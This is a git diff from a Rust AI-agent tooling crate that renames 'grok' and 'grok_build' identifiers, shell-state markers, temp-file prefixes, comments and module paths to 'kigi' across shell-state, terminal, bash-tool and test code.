         // from a prior snapshot is dropped, but a user function is left intact.
         let inject = build_injection(false, false, &both_tools());
         assert!(inject.ends_with("; "));
-        assert!(inject.contains("if [ -n \"${__grok_shadow_find-}\" ]"));
-        assert!(inject.contains("if [ -n \"${__grok_shadow_grep-}\" ]"));
+        assert!(inject.contains("if [ -n \"${__kigi_shadow_find-}\" ]"));
+        assert!(inject.contains("if [ -n \"${__kigi_shadow_grep-}\" ]"));
         assert!(inject.contains("unset -f find"));
         assert!(inject.contains("unset -f grep"));
         assert!(!inject.contains("find()"));
@@ -415,7 +415,7 @@ mod tests {
         assert!(inject.contains("find()"));
         assert!(inject.contains("grep()"));
         assert!(inject.contains("-G --ignore-files"));
-        assert!(inject.contains("__grok_shadow_find=1"));
+        assert!(inject.contains("__kigi_shadow_find=1"));
     }
 
     #[test]
@@ -433,7 +433,7 @@ mod tests {
         assert!(inject.contains("command -v ugrep"));
         // OS fallback present; not a marker-gated restore.
         assert!(inject.contains("command find \"$@\""));
-        assert!(!inject.contains("if [ -n \"${__grok_shadow_find-}\" ]"));
+        assert!(!inject.contains("if [ -n \"${__kigi_shadow_find-}\" ]"));
     }
 
     #[test]
@@ -461,7 +461,7 @@ mod tests {
     #[test]
     fn env_override_accepts_regular_file_without_exec_bit() {
         let bin = std::env::temp_dir().join(format!(
-            "grok-bfs-noexec-{}-{}",
+            "kigi-bfs-noexec-{}-{}",
             std::process::id(),
             std::time::SystemTime::now()
                 .duration_since(std::time::UNIX_EPOCH)
@@ -491,7 +491,7 @@ mod tests {
     #[test]
     fn resolve_tool_precedence() {
         // Real temp files so the is_file() checks pass.
-        let dir = std::env::temp_dir().join(format!("grok-resolve-{}-{:?}", std::process::id(), {
+        let dir = std::env::temp_dir().join(format!("kigi-resolve-{}-{:?}", std::process::id(), {
             use std::time::{SystemTime, UNIX_EPOCH};
             SystemTime::now()
                 .duration_since(UNIX_EPOCH)
@@ -687,7 +687,7 @@ mod tests {
             return;
         };
         let dir = std::env::temp_dir().join(format!(
-            "grok-selfheal-{}-{}",
+            "kigi-selfheal-{}-{}",
             std::process::id(),
             std::time::SystemTime::now()
                 .duration_since(std::time::UNIX_EPOCH)
@@ -731,7 +731,7 @@ mod tests {
         };
         let shadow = shell_function(
             "find",
-            "grok_no_such_search_bin_xyz",
+            "kigi_no_such_search_bin_xyz",
             Some(Path::new("/nonexistent/bfs")),
             &[],
         );
@@ -759,7 +759,7 @@ mod tests {
             return;
         };
         let dir = std::env::temp_dir().join(format!(
-            "grok-noexec-{}-{}",
+            "kigi-noexec-{}-{}",
             std::process::id(),
             std::time::SystemTime::now()
                 .duration_since(std::time::UNIX_EPOCH)
@@ -779,7 +779,7 @@ mod tests {
         // Hint is the non-exec file; bin_name isn't on PATH → must reach OS find.
         let shadow = shell_function(
             "find",
-            "grok_no_such_search_bin_xyz",
+            "kigi_no_such_search_bin_xyz",
             Some(hint.as_path()),
             &[],
         );
diff --git a/crates/codegen/kigi-tools/src/computer/local/shell_state.rs b/crates/codegen/kigi-tools/src/computer/local/shell_state.rs
index 8343af6..42d4345 100644
--- a/crates/codegen/kigi-tools/src/computer/local/shell_state.rs
+++ b/crates/codegen/kigi-tools/src/computer/local/shell_state.rs
@@ -23,14 +23,14 @@ use tokio::io::AsyncReadExt;
 // Marker constants
 // ============================================================================
 
-const BASH_STATE_START_MARKER: &str = "__GROK_BASH_STATE_START__";
-const BASH_STATE_END_MARKER: &str = "__GROK_BASH_STATE_END__";
-const ZSH_STATE_START_MARKER: &str = "__GROK_ZSH_STATE_START__";
-const ZSH_STATE_END_MARKER: &str = "__GROK_ZSH_STATE_END__";
+const BASH_STATE_START_MARKER: &str = "__KIGI_BASH_STATE_START__";
+const BASH_STATE_END_MARKER: &str = "__KIGI_BASH_STATE_END__";
+const ZSH_STATE_START_MARKER: &str = "__KIGI_ZSH_STATE_START__";
+const ZSH_STATE_END_MARKER: &str = "__KIGI_ZSH_STATE_END__";
 
 /// Marker emitted by the init path to separate login-shell noise (MOTD, etc.)
 /// from the actual state dump on stdout.
-const INIT_STATE_MARKER: &str = "__GROK_INIT_STATE_MARKER__";
+const INIT_STATE_MARKER: &str = "__KIGI_INIT_STATE_MARKER__";
 
 /// Maximum time to wait for a shell state init (login shell + rc files).
 const INIT_TIMEOUT: Duration = Duration::from_secs(15);
@@ -47,7 +47,7 @@ pub fn shell_env_overrides() -> HashMap<String, String> {
         ("TERM".to_string(), "dumb".to_string()),
         ("NO_COLOR".to_string(), "1".to_string()),
         ("FORCE_COLOR".to_string(), "0".to_string()),
-        // Re-applied last via [`crate::util::apply_grok_agent_marker`] so request
+        // Re-applied last via [`crate::util::apply_kigi_agent_marker`] so request
         // env cannot clear it.
         (
             crate::util::KIGI_AGENT_ENV.to_string(),
@@ -88,15 +88,15 @@ dump_bash_state() {
     local content="$1"
     local var_name="$2"
     if [[ -n "$content" ]]; then
-      builtin printf 'grok_snap_%s=$(command base64 -d <<'"'"'KIGI_SNAP_EOF_%s'"'"'\n' "$var_name" "$var_name"
+      builtin printf 'kigi_snap_%s=$(command base64 -d <<'"'"'KIGI_SNAP_EOF_%s'"'"'\n' "$var_name" "$var_name"
       command base64 <<<"$content" | command tr -d '\n'
       builtin printf '\nKIGI_SNAP_EOF_%s\n' "$var_name"
       builtin printf ')\n'
-      builtin printf 'eval "$grok_snap_%s"\n' "$var_name"
+      builtin printf 'eval "$kigi_snap_%s"\n' "$var_name"
     fi
   }
 
-  _emit "__GROK_BASH_STATE_START__"
+  _emit "__KIGI_BASH_STATE_START__"
 
   _emit "$PWD"
 
@@ -121,7 +121,7 @@ dump_bash_state() {
   _emit_encoded "$aliases" "ALIASES_B64"
 
   _emit "# end of bash state dump"
-  _emit "__GROK_BASH_STATE_END__"
+  _emit "__KIGI_BASH_STATE_END__"
 }
 "##;
 
@@ -142,15 +142,15 @@ function dump_zsh_state() {
     local content="$1"
     local var_name="$2"
     if [[ -n "$content" ]]; then
-      builtin printf 'grok_snap_%s=$(command base64 -d <<'"'"'KIGI_SNAP_EOF_%s'"'"'\n' "$var_name" "$var_name"
+      builtin printf 'kigi_snap_%s=$(command base64 -d <<'"'"'KIGI_SNAP_EOF_%s'"'"'\n' "$var_name" "$var_name"
       command base64 <<<"$content" | command tr -d '\n'
       builtin printf '\nKIGI_SNAP_EOF_%s\n' "$var_name"
       builtin printf ')\n'
-      builtin printf 'eval "$grok_snap_%s"\n' "$var_name"
+      builtin printf 'eval "$kigi_snap_%s"\n' "$var_name"
     fi
   }
 
-  _emit "__GROK_ZSH_STATE_START__"
+  _emit "__KIGI_ZSH_STATE_START__"
 
   _emit "$PWD"
 
@@ -171,7 +171,7 @@ function dump_zsh_state() {
   _emit_encoded "$aliases" "ALIASES_B64"
 
   _emit "# end of zsh state dump"
-  _emit "__GROK_ZSH_STATE_END__"
+  _emit "__KIGI_ZSH_STATE_END__"
 }
 "##;
 
@@ -688,11 +688,11 @@ mod tests {
 
     #[test]
     fn parse_dump_valid_bash() {
-        let raw = "__GROK_BASH_STATE_START__\n\
+        let raw = "__KIGI_BASH_STATE_START__\n\
                     /home/user/project\n\
                     export FOO=bar\n\
                     # end of bash state dump\n\
-                    __GROK_BASH_STATE_END__\n";
+                    __KIGI_BASH_STATE_END__\n";
         let (cwd, rest) = parse_dump(ShellKind::Bash, raw).unwrap();
         assert_eq!(cwd, PathBuf::from("/home/user/project"));
         assert!(rest.contains("export FOO=bar"));
@@ -700,11 +700,11 @@ mod tests {
 
     #[test]
     fn parse_dump_valid_zsh() {
-        let raw = "__GROK_ZSH_STATE_START__\n\
+        let raw = "__KIGI_ZSH_STATE_START__\n\
                     /tmp\n\
                     typeset -x FOO=bar\n\
                     # end of zsh state dump\n\
-                    __GROK_ZSH_STATE_END__\n";
+                    __KIGI_ZSH_STATE_END__\n";
         let (cwd, rest) = parse_dump(ShellKind::Zsh, raw).unwrap();
         assert_eq!(cwd, PathBuf::from("/tmp"));
         assert!(rest.contains("typeset -x FOO=bar"));
@@ -712,28 +712,28 @@ mod tests {
 
     #[test]
     fn parse_dump_missing_start_marker() {
-        let raw = "/home/user\nexport FOO=bar\n__GROK_BASH_STATE_END__\n";
+        let raw = "/home/user\nexport FOO=bar\n__KIGI_BASH_STATE_END__\n";
         assert!(parse_dump(ShellKind::Bash, raw).is_none());
     }
 
     #[test]
     fn parse_dump_missing_end_marker() {
-        let raw = "__GROK_BASH_STATE_START__\n/home/user\nexport FOO=bar\n";
+        let raw = "__KIGI_BASH_STATE_START__\n/home/user\nexport FOO=bar\n";
         assert!(parse_dump(ShellKind::Bash, raw).is_none());
     }
 
     #[test]
     fn parse_dump_wrong_shell_markers() {
-        let raw = "__GROK_ZSH_STATE_START__\n/tmp\nstuff\n__GROK_ZSH_STATE_END__\n";
+        let raw = "__KIGI_ZSH_STATE_START__\n/tmp\nstuff\n__KIGI_ZSH_STATE_END__\n";
         assert!(parse_dump(ShellKind::Bash, raw).is_none());
     }
 
     #[test]
     fn parse_dump_empty_snapshot() {
-        let raw = "__GROK_BASH_STATE_START__\n\
+        let raw = "__KIGI_BASH_STATE_START__\n\
                     /home/user\n\
                     # end of bash state dump\n\
-                    __GROK_BASH_STATE_END__\n";
+                    __KIGI_BASH_STATE_END__\n";
         let (cwd, rest) = parse_dump(ShellKind::Bash, raw).unwrap();
         assert_eq!(cwd, PathBuf::from("/home/user"));
         assert!(rest.contains("# end of bash state dump"));
@@ -741,15 +741,15 @@ mod tests {
 
     #[test]
     fn parse_after_marker_found() {
-        let output = "Welcome to Ubuntu\nMOTD line\n__GROK_INIT_STATE_MARKER__\nactual data\n";
-        let result = parse_after_marker(output, "__GROK_INIT_STATE_MARKER__");
+        let output = "Welcome to Ubuntu\nMOTD line\n__KIGI_INIT_STATE_MARKER__\nactual data\n";
+        let result = parse_after_marker(output, "__KIGI_INIT_STATE_MARKER__");
         assert_eq!(result, "actual data\n");
     }
 
     #[test]
     fn parse_after_marker_not_found() {
         let output = "just some output\n";
-        let result = parse_after_marker(output, "__GROK_INIT_STATE_MARKER__");
+        let result = parse_after_marker(output, "__KIGI_INIT_STATE_MARKER__");
         assert_eq!(result, output);
     }
 
@@ -797,11 +797,11 @@ mod tests {
             shell: ShellKind::Bash,
         };
 
-        let dump = "__GROK_BASH_STATE_START__\n\
+        let dump = "__KIGI_BASH_STATE_START__\n\
                      /new/dir\n\
                      export X=1\n\
                      # end of bash state dump\n\
-                     __GROK_BASH_STATE_END__\n";
+                     __KIGI_BASH_STATE_END__\n";
         assert!(state.update_from_dump(dump));
         assert_eq!(state.cwd, PathBuf::from("/new/dir"));
         assert!(state.snapshot.contains("export X=1"));
@@ -832,7 +832,7 @@ mod tests {
         assert!(state.cwd.is_absolute());
         // The snapshot should contain at least some env var exports
         assert!(
-            state.snapshot.contains("grok_snap_") || state.snapshot.is_empty(),
+            state.snapshot.contains("kigi_snap_") || state.snapshot.is_empty(),
             "snapshot should contain encoded blocks or be empty: {:?}",
             &state.snapshot[..state.snapshot.len().min(200)]
         );
@@ -995,13 +995,13 @@ mod tests {
         let cwd = std::env::current_dir().unwrap();
         let mut state = ShellState::init(ShellKind::Bash, &cwd).await.unwrap();
 
-        let (code, _) = run_command(&mut state, "export GPG_TTY=/grok-sentinel-tty").await;
+        let (code, _) = run_command(&mut state, "export GPG_TTY=/kigi-sentinel-tty").await;
         assert_eq!(code, 0);
 
         let (code, stdout) = run_command(&mut state, "echo \"[$GPG_TTY]\"").await;
         assert_eq!(code, 0);
         assert!(
-            !stdout.contains("/grok-sentinel-tty"),
+            !stdout.contains("/kigi-sentinel-tty"),
             "GPG_TTY must not persist across commands via the snapshot, got: {stdout:?}"
         );
     }
@@ -1015,13 +1015,13 @@ mod tests {
         let cwd = std::env::current_dir().unwrap();
         let mut state = ShellState::init(ShellKind::Zsh, &cwd).await.unwrap();
 
-        let (code, _) = run_command(&mut state, "export GPG_TTY=/grok-sentinel-tty").await;
+        let (code, _) = run_command(&mut state, "export GPG_TTY=/kigi-sentinel-tty").await;
         assert_eq!(code, 0);
 
         let (code, stdout) = run_command(&mut state, "echo \"[$GPG_TTY]\"").await;
         assert_eq!(code, 0);
         assert!(
-            !stdout.contains("/grok-sentinel-tty"),
+            !stdout.contains("/kigi-sentinel-tty"),
             "GPG_TTY must not persist across commands via the snapshot, got: {stdout:?}"
         );
     }
diff --git a/crates/codegen/kigi-tools/src/computer/local/terminal.rs b/crates/codegen/kigi-tools/src/computer/local/terminal.rs
index 7f22a39..f5456af 100644
--- a/crates/codegen/kigi-tools/src/computer/local/terminal.rs
+++ b/crates/codegen/kigi-tools/src/computer/local/terminal.rs
@@ -669,7 +669,7 @@ impl LocalTerminalActor {
         }
 
         cmd.envs(crate::util::pager_env());
-        crate::util::apply_grok_agent_marker(&mut cmd);
+        crate::util::apply_kigi_agent_marker(&mut cmd);
 
         cmd.fd_mappings(prep.fd_mappings)
             .map_err(|e| ComputerError::io(format!("fd mapping: {e}")))?;
@@ -1950,7 +1950,7 @@ impl LocalTerminalActor {
                         .map(|m| m.len())
                         .unwrap_or(0);
                     tokio::spawn(async move {
-                        crate::implementations::grok_build::monitor::tool::run_monitor_pipeline(
+                        crate::implementations::kigi::monitor::tool::run_monitor_pipeline(
                             &pipeline_task_id,
                             &pipeline_description,
                             pipeline_terminal,
@@ -2754,7 +2754,7 @@ fn spawn_shell_command(
             cmd.envs(login);
         }
         // Agent marker must win over request/login env.
-        crate::util::apply_grok_agent_marker(&mut cmd);
+        crate::util::apply_kigi_agent_marker(&mut cmd);
 
         // Detach from the controlling terminal so subprocesses cannot open
         // /dev/tty and compete with the TUI for terminal input.
@@ -2762,7 +2762,7 @@ fn spawn_shell_command(
 
         // If the sandbox profile restricts network, install a seccomp BPF
         // filter on the child that blocks connect/bind/sendto/listen/accept.
-        // The parent (grok) process retains network for the LLM API.
+        // The parent (kigi) process retains network for the LLM API.
         // Filesystem restrictions are already inherited from the process-level
         // Landlock/Seatbelt sandbox — no action needed here for FS.
         #[cfg(target_os = "linux")]
@@ -2795,7 +2795,7 @@ fn spawn_shell_command(
         }
         cmd.envs(crate::util::pager_env());
         // Agent marker must win over request env.
-        crate::util::apply_grok_agent_marker(&mut cmd);
+        crate::util::apply_kigi_agent_marker(&mut cmd);
 
         // Set creation flags inline rather than via crate::util::detach_command
         // + new_process_group: tokio's creation_flags is a SET, not OR, so
@@ -2806,7 +2806,7 @@ fn spawn_shell_command(
         //     job so we can assign it to our own ProcessGroup. Per Microsoft
         //     docs this *fails CreateProcess with ERROR_ACCESS_DENIED* (os
         //     error 5) when the parent process is in a job that does not
-        //     have JOB_OBJECT_LIMIT_BREAKAWAY_OK set — common when grok-agent
+        //     have JOB_OBJECT_LIMIT_BREAKAWAY_OK set — common when kigi-agent
         //     is launched under a Windows service, scheduled task, or some
         //     ACP host wrappers. The caller below retries without this flag
         //     on os error 5.
@@ -4212,7 +4212,7 @@ mod tests {
 
         let mut req = make_request("echo \"[$GPG_TTY]\"");
         req.env
-            .insert("GPG_TTY".to_string(), "/grok-sentinel-tty".to_string());
+            .insert("GPG_TTY".to_string(), "/kigi-sentinel-tty".to_string());
 
         let result = backend.run(req).await.unwrap();
         assert_eq!(result.exit_code, Some(0));
diff --git a/crates/codegen/kigi-tools/src/computer/types.rs b/crates/codegen/kigi-tools/src/computer/types.rs
index 8db26b2..93ca626 100644
--- a/crates/codegen/kigi-tools/src/computer/types.rs
+++ b/crates/codegen/kigi-tools/src/computer/types.rs
@@ -237,7 +237,7 @@ impl TaskSnapshot {
 
 /// Result of killing a terminal task.
 ///
-/// Serialized over the wire in the `x.ai/task/kill` ext response
+/// Serialized over the wire in the `kigi/task/kill` ext response
 /// (`kigi-shell::extensions::task::KillTaskResponse`) and deserialized
 /// by clients (kigi-tui), so it derives both serde directions.
 #[derive(Debug, Clone, Copy, PartialEq, Eq, serde::Serialize, serde::Deserialize)]
diff --git a/crates/codegen/kigi-tools/src/implementations/codex/grep_files/tool.rs b/crates/codegen/kigi-tools/src/implementations/codex/grep_files/tool.rs
index d9dc05c..a274fdf 100644
--- a/crates/codegen/kigi-tools/src/implementations/codex/grep_files/tool.rs
+++ b/crates/codegen/kigi-tools/src/implementations/codex/grep_files/tool.rs
@@ -3,7 +3,7 @@
 //! This is a faithful port of `codex-rs/core/src/tools/handlers/grep_files.rs`.
 //! It returns **file paths only** (`--files-with-matches`), sorted by
 //! modification time. See the plan document for the full diff vs the
-//! grok-build `GrepTool`.
+//! kigi `GrepTool`.
 
 use std::path::{Path, PathBuf};
 use std::time::Duration;
@@ -12,7 +12,7 @@ use serde::{Deserialize, Serialize};
 use tokio::process::Command;
 use tokio::time::timeout;
 
-use crate::implementations::grok_build::grep::ripgrep::rg_path;
+use crate::implementations::kigi::grep::ripgrep::rg_path;
 use crate::types::output::CodexGrepFilesOutput;
 use crate::types::requirements::Expr;
 #[allow(unused_imports)]
@@ -59,8 +59,8 @@ pub struct CodexGrepFilesInput {
 
 /// Codex-namespace grep_files tool — file-path-only regex search.
 ///
-/// Shares `ToolKind::Search` with the grok-build `GrepTool`. These tools are
-/// namespace-exclusive — consumers enable either `GrokBuild` or `Codex` search,
+/// Shares `ToolKind::Search` with the kigi `GrepTool`. These tools are
+/// namespace-exclusive — consumers enable either `Kigi` or `Codex` search,
 /// never both simultaneously. This follows the same pattern as
 /// `CodexListDirTool`/`ListDirTool` (`ToolKind::ListDir`) and
 /// `CodexReadFileTool`/`ReadFileImpl` (`ToolKind::Read`).
diff --git a/crates/codegen/kigi-tools/src/implementations/codex/list_dir/tool.rs b/crates/codegen/kigi-tools/src/implementations/codex/list_dir/tool.rs
index 0734832..86dce4a 100644
--- a/crates/codegen/kigi-tools/src/implementations/codex/list_dir/tool.rs
+++ b/crates/codegen/kigi-tools/src/implementations/codex/list_dir/tool.rs
@@ -2,7 +2,7 @@
 //!
 //! This is a faithful port of `codex-rs/core/src/tools/handlers/list_dir.rs`.
 //! It does NOT respect `.gitignore`, does NOT exclude hidden files, and requires
-//! absolute paths. See the plan document for the full diff vs the grok-build
+//! absolute paths. See the plan document for the full diff vs the kigi
 //! `ListDirTool`.
 
 use std::collections::VecDeque;
diff --git a/crates/codegen/kigi-tools/src/implementations/codex/read_file/tool.rs b/crates/codegen/kigi-tools/src/implementations/codex/read_file/tool.rs
index c0d4408..3c46e37 100644
--- a/crates/codegen/kigi-tools/src/implementations/codex/read_file/tool.rs
+++ b/crates/codegen/kigi-tools/src/implementations/codex/read_file/tool.rs
@@ -244,7 +244,7 @@ impl kigi_tool_runtime::Tool for CodexReadFileTool {
         let content = collected.join("\n");
 
         // 5. Build raw_output — the unformatted file content for the read
-        // range. This matches the grok-build ReadFileTool semantics where
+        // range. This matches the kigi ReadFileTool semantics where
         // raw_output is the actual file text without line-number prefixes.
         let raw_output = String::from_utf8_lossy(&file_bytes).into_owned();
 
diff --git a/crates/codegen/kigi-tools/src/implementations/cursor_rules_on_read.rs b/crates/codegen/kigi-tools/src/implementations/cursor_rules_on_read.rs
index 93932ad..d7ed43e 100644
--- a/crates/codegen/kigi-tools/src/implementations/cursor_rules_on_read.rs
+++ b/crates/codegen/kigi-tools/src/implementations/cursor_rules_on_read.rs
@@ -440,8 +440,8 @@ mod tests {
 
     use super::*;
     use crate::computer::local::LocalFs;
-    use crate::implementations::grok_build::read_file::{
-        ReadFileInput, ReadFileParams, ReadFileTool as GrokReadFileTool,
+    use crate::implementations::kigi::read_file::{
+        ReadFileInput, ReadFileParams, ReadFileTool as KigiReadFileTool,
     };
     use crate::notification::types::ToolNotificationHandle;
     use crate::types::output::ReadFileOutput;
@@ -465,7 +465,7 @@ mod tests {
         resources.into_shared()
     }
 
-    fn resources_with_grok_rules_on_read(root: &Path) -> SharedResources {
+    fn resources_with_kigi_rules_on_read(root: &Path) -> SharedResources {
         let mut resources = Resources::new();
         resources.insert(Cwd(root.to_path_buf()));
         resources.insert(FileSystem(Arc::new(LocalFs)));
@@ -675,7 +675,7 @@ mod tests {
     }
 
     #[tokio::test]
-    async fn grok_read_file_output_includes_matching_rule_once() {
+    async fn kigi_read_file_output_includes_matching_rule_once() {
         let temp = TempDir::new().unwrap();
         let root = temp.path();
         std::fs::create_dir_all(root.join(".cursor/rules")).unwrap();
@@ -686,7 +686,7 @@ mod tests {
         .unwrap();
         std::fs::write(root.join("main.rs"), "fn main() {}\n").unwrap();
 
-        let shared = resources_with_grok_rules_on_read(root);
+        let shared = resources_with_kigi_rules_on_read(root);
         let input = ReadFileInput {
             path: "main.rs".to_owned(),
             offset: None,
@@ -695,7 +695,7 @@ mod tests {
             format: None,
         };
 
-        let first = kigi_tool_runtime::Tool::run(&GrokReadFileTool, test_ctx(shared), input)
+        let first = kigi_tool_runtime::Tool::run(&KigiReadFileTool, test_ctx(shared), input)
             .await
             .unwrap();
         let ReadFileOutput::FileContent(first) = first else {
diff --git a/crates/codegen/kigi-tools/src/implementations/editor_infra/mod.rs b/crates/codegen/kigi-tools/src/implementations/editor_infra/mod.rs
index c434f93..4ec4997 100644
--- a/crates/codegen/kigi-tools/src/implementations/editor_infra/mod.rs
+++ b/crates/codegen/kigi-tools/src/implementations/editor_infra/mod.rs
@@ -1,4 +1,4 @@
-//! Shared editor infrastructure used by the default grok_build tools.
+//! Shared editor infrastructure used by the default kigi tools.
 pub mod file_operation_lock;
 pub use file_operation_lock::{FileOperationLockGuard, FileOperationLockManager};
 /// Default `block_until_ms` when the model omits the field on blocking shell
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/ask_user_question/format.rs b/crates/codegen/kigi-tools/src/implementations/kigi/ask_user_question/format.rs
similarity index 100%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/ask_user_question/format.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/ask_user_question/format.rs
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/ask_user_question/mod.rs b/crates/codegen/kigi-tools/src/implementations/kigi/ask_user_question/mod.rs
similarity index 99%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/ask_user_question/mod.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/ask_user_question/mod.rs
index 0bf634a..42c6afc 100644
--- a/crates/codegen/kigi-tools/src/implementations/grok_build/ask_user_question/mod.rs
+++ b/crates/codegen/kigi-tools/src/implementations/kigi/ask_user_question/mod.rs
@@ -115,7 +115,7 @@ pub struct AskUserQuestionParams {
     pub timeout_secs: Option<u64>,
 }
 
-crate::register_resource!("grok_build", "AskUserQuestion", AskUserQuestionParams);
+crate::register_resource!("kigi", "AskUserQuestion", AskUserQuestionParams);
 
 impl AskUserQuestionParams {
     /// Effective wait budget: `Some(duration)` = bounded, `None` = wait forever.
@@ -160,7 +160,7 @@ pub struct QuestionOption {
     )]
     pub preview: Option<String>,
 
-    /// Opaque id; hidden from the model. Grok callers leave it `None`.
+    /// Opaque id; hidden from the model. Kigi callers leave it `None`.
     #[serde(default, skip_serializing_if = "Option::is_none")]
     #[schemars(skip)]
     pub id: Option<String>,
@@ -236,7 +236,7 @@ impl crate::types::tool_metadata::ToolMetadata for AskUserQuestionTool {
     }
 
     fn tool_namespace(&self) -> ToolNamespace {
-        ToolNamespace::GrokBuild
+        ToolNamespace::Kigi
     }
 
     fn emitted_notifications(&self) -> &'static [&'static str] {
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/ask_user_question/types.rs b/crates/codegen/kigi-tools/src/implementations/kigi/ask_user_question/types.rs
similarity index 99%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/ask_user_question/types.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/ask_user_question/types.rs
index 5e9cc70..39967c6 100644
--- a/crates/codegen/kigi-tools/src/implementations/grok_build/ask_user_question/types.rs
+++ b/crates/codegen/kigi-tools/src/implementations/kigi/ask_user_question/types.rs
@@ -197,7 +197,7 @@ pub struct UserQuestionSender(
     #[educe(Debug(ignore))] pub mpsc::UnboundedSender<UserQuestionRequest>,
 );
 
-register_resource!("grok_build", "UserQuestionSender", UserQuestionSender);
+register_resource!("kigi", "UserQuestionSender", UserQuestionSender);
 
 // ── Conversion helper ────────────────────────────────────────────────────
 
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/bash/mod.rs b/crates/codegen/kigi-tools/src/implementations/kigi/bash/mod.rs
similarity index 99%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/bash/mod.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/bash/mod.rs
index f8ef7a0..98dcb51 100644
--- a/crates/codegen/kigi-tools/src/implementations/grok_build/bash/mod.rs
+++ b/crates/codegen/kigi-tools/src/implementations/kigi/bash/mod.rs
@@ -138,7 +138,7 @@ pub struct BashParams {
     pub timeout_secs: Option<f64>,
     /// **Foreground-only** ceiling for model-provided `timeout` (seconds).
     /// None → built-in [`DEFAULT_MAX_TIMEOUT_MS`] (5 minutes); production
-    /// grok-build opts up to 10h via kigi-shell's `BashToolConfig`.
+    /// kigi opts up to 10h via kigi-shell's `BashToolConfig`.
     ///
     /// When set:
     /// - Positive model `timeout` values are clamped to this ceiling (ms).
@@ -221,7 +221,7 @@ impl Default for BashParams {
 }
 
 impl crate::types::resources::ResourceType for BashParams {
-    const ID: &'static str = "grok_build.Bash";
+    const ID: &'static str = "kigi.Bash";
 
     fn validate_params_value(
         value: &Self,
@@ -449,7 +449,7 @@ pub(crate) fn format_default_prompt(bash: &BashOutput) -> String {
 // Default upper bound for model-provided *foreground* command timeouts when
 // `BashParams.max_timeout_secs` is unset: a transport-safe **5 minutes**.
 // Consumers that want longer opt in per session via `max_timeout_secs` — in
-// particular production grok-build sets it to 10h in kigi-shell's
+// particular production kigi sets it to 10h in kigi-shell's
 // `BashToolConfig`. `max_timeout_secs` only lowers/raises this *foreground*
 // ceiling; background tasks (`timeout: 0` / omitted in background mode) are
 // always unbounded regardless of this value — the model owns their lifetime via
@@ -986,13 +986,13 @@ fn clamp_foreground_block(
 }
 
 // ───────────────────────────────────────────────────────────────────────────
-// Bare `echo "<msg>"` detection (for statistics + hints in grok_build bash)
+// Bare `echo "<msg>"` detection (for statistics + hints in kigi bash)
 // ───────────────────────────────────────────────────────────────────────────
 
 /// Tracks usage of bare `echo "<msg>"` (and close variants) inside the bash tool.
 ///
 /// These are often used by the model as a substitute for direct output or
-/// communication. We want statistics on this pattern for the grok_build
+/// communication. We want statistics on this pattern for the kigi
 /// implementation and can surface educational hints on repeated use.
 #[derive(Debug, Clone, Default)]
 struct BareEchoHintState {
@@ -1514,7 +1514,7 @@ impl crate::types::tool_metadata::ToolMetadata for BashTool {
     }
 
     fn tool_namespace(&self) -> ToolNamespace {
-        ToolNamespace::GrokBuild
+        ToolNamespace::Kigi
     }
 
     fn description_template(&self) -> &str {
@@ -2048,7 +2048,7 @@ impl kigi_tool_runtime::Tool for BashTool {
                 // past that deadline rather than kill the process.
                 // Backwards compatible because
                 // `auto_background_on_timeout` defaults to `false`;
-                // existing grok_build callers that never opted in are
+                // existing kigi callers that never opted in are
                 // unaffected.
                 auto_background_on_timeout: Self::auto_background_on_timeout_enabled(&params),
                 foreground_block_budget: Self::effective_foreground_block_budget(&params),
@@ -2173,7 +2173,7 @@ impl kigi_tool_runtime::Tool for BashTool {
             bash.output_for_prompt = format_default_prompt(&bash);
 
             // Bare `echo "<msg>"` usage (common model anti-pattern for "just output something").
-            // We tag it for statistics (grok_build backend) and can surface an educational
+            // We tag it for statistics (kigi backend) and can surface an educational
             // hint on repeated use.
             bash.was_bare_echo = is_bare_echo(&bash.command) || is_bare_printf(&bash.command);
             if bash.was_bare_echo {
@@ -3900,7 +3900,7 @@ mod tests {
         #[test]
         fn foreground_positive_clamped_to_default_max() {
             // The built-in default foreground ceiling is 5 min; production
-            // grok-shell opts up to 10h via max_timeout_secs. Background unaffected.
+            // kigi-shell opts up to 10h via max_timeout_secs. Background unaffected.
             assert_eq!(DEFAULT_MAX_TIMEOUT_MS, 300_000);
             let above_max: u64 = 50 * 60 * 60 * 1_000;
             assert_eq!(
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/deploy_app_stub.rs b/crates/codegen/kigi-tools/src/implementations/kigi/deploy_app_stub.rs
similarity index 100%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/deploy_app_stub.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/deploy_app_stub.rs
diff --git a/crates/codegen/kigi-tools/src/implementations/grok_build/enter_plan_mode/mod.rs b/crates/codegen/kigi-tools/src/implementations/kigi/enter_plan_mode/mod.rs
similarity index 99%
rename from crates/codegen/kigi-tools/src/implementations/grok_build/enter_plan_mode/mod.rs
rename to crates/codegen/kigi-tools/src/implementations/kigi/enter_plan_mode/mod.rs
index 05617a7..dead08b 100644
--- a/crates/codegen/kigi-tools/src/implementations/grok_build/enter_plan_mode/mod.rs
+++ b/crates/codegen/kigi-tools/src/implementations/kigi/enter_plan_mode/mod.rs
@@ -48,7 +48,7 @@ impl crate::types::tool_metadata::ToolMetadata for EnterPlanModeTool {
     }
 
     fn tool_namespace(&self) -> ToolNamespace {
-        ToolNamespace::GrokBuild
+        ToolNamespace::Kigi
     }
 
     fn emitted_notifications(&self) -> &'static [&'static str] {
@@ -62,7 +62,7 @@ impl crate::types::tool_metadata::ToolMetadata for EnterPlanModeTool {
     fn requires_expr(&self) -> Expr<ToolRequirement> {
         // EnterPlanMode can only exist if ExitPlanMode is also registered —
         // entering plan mode without the ability to exit would be a dead-end.
-        use crate::implementations::grok_build::exit_plan_mode::ExitPlanModeTool;
+        use crate::implementations::kigi::exit_plan_mode::ExitPlanModeTool;
         Expr::Value(ToolRequirement::Tool {
             namespace: crate::types::tool_metadata::ToolMetadata::tool_namespace(&ExitPlanModeTool)
                 .to_string(),
